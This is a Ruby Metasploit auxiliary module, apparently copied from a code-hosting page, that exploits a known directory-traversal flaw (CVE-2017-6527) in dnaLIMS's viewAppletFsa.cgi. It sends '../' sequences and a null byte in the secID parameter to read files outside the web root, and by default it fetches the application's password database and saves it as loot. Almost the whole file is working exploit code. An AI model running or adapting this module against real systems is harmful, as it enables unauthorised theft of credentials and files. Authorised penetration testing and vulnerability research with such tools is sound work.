78 lines
2.4 KiB
Ruby
78 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'DnaLIMS Directory Traversal',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability found in dnaLIMS.
|
|
Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible
|
|
to read a file outside the www directory.
|
|
},
|
|
'References' =>
|
|
[
|
|
['CVE', '2017-6527'],
|
|
['US-CERT-VU', '929263'],
|
|
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
|
|
'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => "Mar 8 2017"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
|
|
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
|
|
OptInt.new('DEPTH', [true, 'The traversal depth', 4])
|
|
])
|
|
|
|
deregister_options('RHOST')
|
|
end
|
|
|
|
|
|
def run_host(ip)
|
|
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"
|
|
traverse = "../" * datastore['DEPTH']
|
|
uri = normalize_uri(target_uri.path)
|
|
base = File.dirname("#{uri}/.")
|
|
|
|
print_status("Requesting: #{file} - #{rhost}")
|
|
res = send_request_cgi({
|
|
'uri' => "#{base}/viewAppletFsa.cgi",
|
|
'vars_get' => { 'secID' => "#{traverse}#{file}%00",
|
|
'Action' => 'blast',
|
|
'hidenav' => '1'
|
|
}
|
|
})
|
|
|
|
if not res
|
|
print_error("No response from server.")
|
|
return
|
|
end
|
|
|
|
if res.code != 200
|
|
print_error("Server returned a non-200 response (body will not be saved):")
|
|
print_line(res.to_s)
|
|
return
|
|
end
|
|
|
|
vprint_good(res.body)
|
|
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
|
|
print_good("File saved as: #{p}")
|
|
end
|
|
end
|
|
|
|
|